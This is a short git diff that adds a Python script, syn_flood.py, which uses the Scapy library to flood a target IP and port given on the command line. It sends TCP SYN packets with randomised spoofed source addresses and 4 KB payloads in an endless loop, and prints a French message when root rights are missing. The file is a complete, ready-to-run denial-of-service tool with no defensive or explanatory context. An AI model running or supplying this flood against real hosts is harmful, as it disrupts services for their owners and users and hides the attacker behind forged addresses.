diff options
Diffstat (limited to 'scapy/syn_flood.py')
| -rw-r--r-- | scapy/syn_flood.py | 13 |
1 files changed, 13 insertions, 0 deletions
diff --git a/scapy/syn_flood.py b/scapy/syn_flood.py new file mode 100644 index 0000000..aa22d72 --- /dev/null +++ b/scapy/syn_flood.py @@ -0,0 +1,13 @@ +#!/usr/bin/python3 + +import sys +from scapy.all import * + +def syn_flood(target_ip,dport): + send(IP(src=RandIP(),dst=target_ip)/TCP(sport=RandShort(),dport=dport,flags="S")/Raw(b"X"*4096),loop=1) + +if __name__ == "__main__": + try: + syn_flood(sys.argv[1],int(sys.argv[2])) + except PermissionError: + print(f"{sys.argv[0]} nécessite les droits root") |
